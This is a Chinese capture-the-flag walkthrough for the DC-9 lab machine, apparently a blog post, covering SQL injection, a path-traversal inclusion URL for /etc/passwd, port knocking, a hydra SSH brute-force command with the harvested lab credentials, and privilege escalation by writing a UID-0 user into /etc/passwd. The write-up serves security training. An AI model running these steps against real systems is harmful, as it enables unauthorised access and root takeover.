dc9靶场通关

一、扫描探测

靶机开放22和80端口

二、sql注入

在网站的search界面,发现存在注入点:

使用bp抓包,*标注注入点:

得到staff和users信息

爆库得到两个表的内容,其中staff中的密码是MD5值,sqlmap破解得到为transorbital1

登录管理界面后,发现出现一个文件不存在的提示:

尝试一下,发现有文件包含的问题,通过文件包含,可以知道常见的几个ssh用户名

http://192.168.136.202/welcome.php?file=../../../../../etc/passwd

三、关于knocked机制

knockd 主要的目的是希望可以动态的修改防火墙规则,他的运作流程是这样的:

  1. 服务器端的防火墙规则中先开放三个左右的端口口,这些端口口没有被其他程序激活,且可由 knockd 所侦测;
  2. 用户端若依照设置的顺序依序的连接到这三个端口口时, knockd 将进行动态防火墙规则的设置
  3. 防火墙规则被修改,且 knockd 持续进行侦测;
  4. 当用户端让 knockd 等候逾时,或者是用户端脱机后,刚刚步骤三的防火墙规则将会被移除

knock的配置文件在etc/knocked.conf中

依据序列敲门:

让防火墙开放ssh端口

四、hydra爆破

|----|------------|---------------|------------------|-----------|-----------|
| id | lastname | password | reg_date | username | firstname |
| 1 | Moe | 3kfs86sfd | 2019/12/29 16:58 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019/12/29 16:58 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019/12/29 16:58 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019/12/29 16:58 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019/12/29 16:58 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019/12/29 16:58 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019/12/29 16:58 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019/12/29 16:58 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019/12/29 16:58 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019/12/29 16:58 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019/12/29 16:58 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019/12/29 16:58 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019/12/29 16:58 | monicag | Monica |
| 14 | Buffay | smellycats | 2019/12/29 16:58 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019/12/29 16:58 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019/12/29 16:58 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019/12/29 16:58 | janitor2 | Scott |

根据这个用户名和密码库,生成字典,直接爆破。

hydra -q -L users.txt -P passwords.txt ssh://192.168.1.202 -o valid_logins.txt

|---------------------------------------------------------------------------------------|
| 22ssh host: 192.168.136.202 misc: (null) login: chandlerb password: UrAG0D! |
| 22ssh host: 192.168.136.202 misc: (null) login: joeyt password: Passw0rd |
| 22ssh host: 192.168.136.202 misc: (null) login: janitor password: Ilovepeepee |

然后分别登录这3个用户,发现janitor/Passw0rd,这个用户有隐藏文件。

把这些密码加入之前的密码文件中,继续爆破,得到新用户和密码:

22ssh host: 192.168.1.148 login: fredf password: B4-Tru3-001

登录后发现,有一个文件有sudo权限,但是是root权限创建的不能修改。

发现对应的是一个python脚本,可以写入文件

五、密码写入

即使系统启用了 shadow(/etc/passwd 中是 x),如果你手动将某个用户的密码字段从 x 改为实际哈希(如 $1$...),大多数 Linux 系统仍然会优先使用 /etc/passwd 中的密码进行认证!

换句话说:/etc/passwd 中的密码字段如果不是 x,就会覆盖 /etc/shadow 的设置

利用这个原理和上述脚本,可以写入一个新的root用户

/etc/passwd的格式为:

username:encrypted_password:UID:GID:GECOS:home_dir:shell

echo 'sb:1haha$T7nt1ThchynsrEviA0KLT0:0:0::/root:/bin/bash' 2.txt

整个过程如下:

相关推荐
折哥的程序人生 · 物流技术专研6 小时前
Java面试85题图解版 · 特别篇:2026后端高频面试题复盘(算法底层逻辑+高并发架构设计全解析,附Java实战代码)
java·网络·数据库·算法·面试
xxie1237946 小时前
return与print
开发语言·python
秋96 小时前
从 Python 后端工程师转型 AI Engineer(AI 工程化)的完整补课清单(2026实战版)
开发语言·人工智能·python
一条泥憨鱼6 小时前
【Redis】数据类型和常用命令
java·数据库·redis·后端·缓存
云烟成雨TD6 小时前
Spring AI Alibaba 1.x 系列【78】沙箱(Sandbox)
java·人工智能·spring
程序员二叉6 小时前
【Java】 异常高频面试题精讲 | 易错点+对比总结
java·开发语言·面试
周航宇JoeZhou7 小时前
JB3-9-SpringAI(二)
java·ai·agent·多智能体·调度·智能体·观察
好家伙VCC7 小时前
Web Components主题热切换方案揭秘
java·前端
慕木沐7 小时前
Google ADK Java 1.0版本 核心机制与实战 Demo
java·开发语言·python
Roann_seo%7 小时前
C++文件操作完全指南:从文本读写到二进制文件处理
开发语言·c++